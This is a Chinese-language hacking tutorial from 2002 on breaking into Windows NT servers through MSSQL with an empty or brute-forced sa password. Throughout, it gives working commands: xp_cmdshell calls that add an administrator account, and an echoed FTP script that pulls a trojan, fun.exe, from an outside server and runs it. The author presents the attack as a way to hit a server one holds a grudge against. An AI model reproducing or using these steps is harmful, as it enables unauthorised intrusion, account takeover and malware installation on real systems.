|
mssql系统管理扩展存储的大漏洞
常碰到的情况:一台nt的服务器,只开了80和1433端口,sa的密码为空,但禁止了远程储存,即你不能执行net user ***
/add等命令,就算没有禁止你添加了一个admin组的用户,但它完全禁止了共享,拿到这种机器,君欲何为?
如果你和某台nt的服务器有深仇大恨,而它又没什么漏洞可钻的话,暴破我推荐破mssql的sa密码,如果它开了mssql服务的话,比其它暴破又快又准.在mssql中管理员的帐号sa是不可删除,改名或停用的,不象nt的administrator.
一朝你拿到了sa的密码(比如常见的sa的密码为空),你便可以有两件事可做:
1)用mssql的客户端工具(sql分析查询器)连接它的数据库看看里面有没有什么好东东,这里略过不提.
2)添加一个nt管理员的帐号,以便上传下载文件,进一步控制这台机,我们主要说说这后一种情况.
我们知道,mssql默认安装是能够调用大量的系统管理扩展存储,象xp_cmdshell,,Xp_regdeletekey,Xp_regenumvalues
等等.其中最重要的xp_cmdshell,调用它几乎可以完成所有nt的系统命令,比如:"
net user 7nt /add" "net localgroup administrators 7nt /add"
等等,这样就在admin组增加了一个管理员7nt.但是你也会常碰到这种情况,nt上的mssql已经对管理扩展存储作了限制,下面看一个实例:
已知一台机64.49.*.* 只开了80和1433端口,sa的密码为空,禁止了所有共享:
用mssql的客户端连接成功,现在:"dir c:\" ,可以浏览目录. "net user",显示:"Administrator
IUSR_TPEWEB01 IWAM_TPEWEB01 Guest"看来还可以读出他的帐号.
再来:"net user administrator" 显示:"System error 1312 has occurred.
A specified logon session does not exist. It may already have been
terminated."
同样你运行比如:"net user 7nt /add"等命令,都会得到这个结果,怎么办?
换个其它命令试试:"echo aaa>c:\a.txt" 看看创建一个文本文件a.txt,内容为aaa行不行?显示:"Can‘nt Execute
Command, Press Any Key to Exit..."哇,好象也不行,连接也断开了.再次和它连上吧,再看看:"dir c:\"
,哇塞,c盘上多了一个a.txt文件,"type c:\a.txt",a.txt文件的内容正是aaa.好了,一切都ok了.
这可是mssql系统管理扩展存储的大漏洞,好比一个小偷正在行窃被警察叔叔当场抓住,送到监牢自不代说,却不问小偷把偷到的财宝交出来,于是小偷可以反复地去偷...哈哈.
剩下的我不多说了,推荐用ftp -s.假设你有一台ftp服务器211.100.8.141,用户名和密码都是7nt,在上面有一个木马fun.exe,你可以反复连接mssql,一次次把这些写进去:"echo
open 211.100.8.141>a.txt" "echo 7nt>>a.txt" "echo 7nt>>a.txt" "echo bin>>a.txt"
"echo get fun.exe>>a.txt" "echo bye>>a.txt" 要六次呀,有点辛苦?第七次就搞定了:"ftp -s:a.txt"
看看,我们的fun.exe已经传上去了,你可以在mssql的shell里直接运行fun.exe,如果可能最好用at命令.
whh7nt.126.com 7nt 于 2002-4-25 |